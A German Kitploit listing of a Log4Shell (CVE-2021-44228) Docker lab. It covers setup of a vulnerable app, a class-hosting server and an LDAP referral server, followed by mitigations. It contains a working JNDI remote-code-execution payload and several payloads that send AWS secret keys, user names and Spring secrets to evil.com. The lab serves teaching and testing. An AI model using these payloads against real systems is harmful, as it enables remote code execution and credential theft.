Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) Docker-Labor | Kitploit
Tools/GitHubGitHub/axelcurmi/log4shell-docker-lab
Container-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) Docker-Labor

Repository anzeigen
113vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4Shell Docker-Lab für CVE-2021-44228

Die Komponenten

Dieses Docker-Lab verwendet drei Komponenten:

  • Die verwundbare Spring-Boot-Anwendung
  • Einen HTTP-Server, der .class-Dateien für die Remote-Codeausführung hostet
  • Einen LDAP-Referral-Server, der bestimmte LDAP-Abfragen an den HTTP-Server weiterleitet

Docker-Lab-Einrichtung

1. Docker-Netzwerk

docker network create log4shell

2. Erstellen der Docker-Images

$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. Starten der Container

Wichtiger Hinweis: Wenn Sie Windows PowerShell verwenden, ersetzen Sie $(pwd) durch ${pwd}.

$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

Exploit

Öffnen Sie die verwundbare Anwendung, geben Sie einige falsche Test-Anmeldedaten ein und öffnen Sie die Logs des log4shell-vulnapp-Containers. Es ist zu erkennen, dass die Anwendung fehlgeschlagene Anmeldeversuche protokolliert (z. B. Incorrect login attempt for username 'test'). Durch dieses kleine Experiment wird festgestellt, dass wir die Kontrolle über einen Teil der protokollierten Zeichenfolge (d. h. den Benutzernamen) haben.

Wir können eine Nutzlast wie die folgende übergeben, um Code remote auszuführen:

${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

Remote-Codeausführung ist in jeder Java-Version möglich; jedoch auf Maschinen mit Java-Versionen, die älter sind als die folgende Liste [1]:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

Dies liegt daran, dass spätere Versionen die JVM-Systemeigenschaft com.sun.jndi.ldap.object.trustURLCodebase standardmäßig auf false setzen, wodurch das Laden von Klassen durch JNDI von beliebigen URL-Codebasen deaktiviert wird. Sich jedoch ausschließlich auf eine neue Java-Version als Schutz gegen diese Schwachstelle zu verlassen, ist riskant, da die Schwachstelle weiterhin auf Maschinen ausgenutzt werden kann, die bestimmte "Gadget"-Klassen im Klassenpfad der verwundbaren Anwendung enthalten, und DNS-Abfragen verwendet werden können, um Informationen wie Umgebungsvariablen zu erhalten.

Es gibt mehrere Lookup-Ersetzungen, die vertrauliche Informationen vom Opfer-Rechner preisgeben. Am bekanntesten ist die Verwendung einer Nutzlast ähnlich der folgenden [2, 3]:

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

Hinweis: Die Spring-Lookup-Angriffszeichenfolge erfordert, dass log4j-spring-cloud-config-client in der Anwendung enthalten ist. [2]

Gegenmaßnahmen

Der beste Weg, diese schwerwiegende Schwachstelle zu entschärfen, ist ein Upgrade von log4j2 auf eine Version >= 2.17.0. Es ist jedoch möglich, das Problem ohne Upgrade vollständig zu entschärfen, indem zwei verschiedene Methoden verwendet werden. Anbieter, die nicht auf eine neuere Log4j2-Version aktualisieren können, wird dringend empfohlen, beide unten aufgeführten Gegenmaßnahmen anzuwenden [1].

Methode 1: Für log4j 2.10.0 oder höher - Lookups deaktivieren

Das Deaktivieren von Lookups kann (global) erfolgen, indem die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird. Dazu bearbeiten Sie die Datei /etc/environment und fügen Folgendes hinzu: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

Alternativ können Lookups für einen bestimmten JVM-Aufruf deaktiviert werden, indem Sie beim Ausführen der verwundbaren Java-Anwendung das folgende Befehlszeilen-Flag hinzufügen: ‐Dlog4j2.formatMsgNoLookups=True [1]

Methode 2: Für log4j älter als 2.10.0 - Entfernen der verwundbaren Klasse

Bei Verwendung einer log4j-Version älter als 2.10.0 ist es möglich, die JndiLookup-Klasse aus beliebigen Java-Anwendungen zu entfernen.

Referenzen

[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [online] JFrog. Verfügbar unter: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Zugegriffen am 24. Dezember 2021].

[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Verfügbar unter: https://logging.apache.org/log4j/2.x/manual/lookups.html [Zugegriffen am 24. Dezember 2021].

[3] Oracle. (2021). System Properties. [online] Verfügbar unter: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Zugegriffen am 24. Dezember 2021].

Tool herunterladen